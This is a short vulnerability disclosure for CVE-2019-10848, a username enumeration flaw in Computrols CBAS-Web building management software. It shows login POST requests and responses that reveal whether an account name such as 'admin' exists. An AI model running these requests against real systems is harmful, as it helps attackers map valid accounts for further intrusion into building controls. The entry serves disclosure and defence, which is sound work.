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Computrols CBAS-Web Username Enumeration  
  
Affected versions: 19.0.0 and below  
CVE: CVE-2019-10848  
Advisory: https://applied-risk.com/resources/ar-2019-009  
Paper: https://applied-risk.com/resources/i-own-your-building-management-system  
  
Discovered by Gjoko 'LiquidWorm' Krstic  
  
  
Testing for non-valid user:  
  
POST /cbas/index.php?m=auth&a=login HTTP/1.1  
  
username=randomuser&password=&challenge=60753c1b5e449de80e21472b5911594d&response=e16371917371b8b70529737813840c62  
  
  
Response for non-valid user:  
  
<!-- Failed login comments appear here -->  
<p class="alert-error">randomuser</p>  
  
========================================================================  
  
Testing for valid user:  
  
POST /cbas/index.php?m=auth&a=login HTTP/1.1  
  
username=admin&password=&challenge=6e4344e7ac62520dba82d7f20ccbd422&response=e09aab669572a8e4576206d5c14befc5s  
  
  
Response for valid user:  
  
<!-- Failed login comments appear here -->  
<p class="alert-error">Invalid username/password combination. Please try again!</p>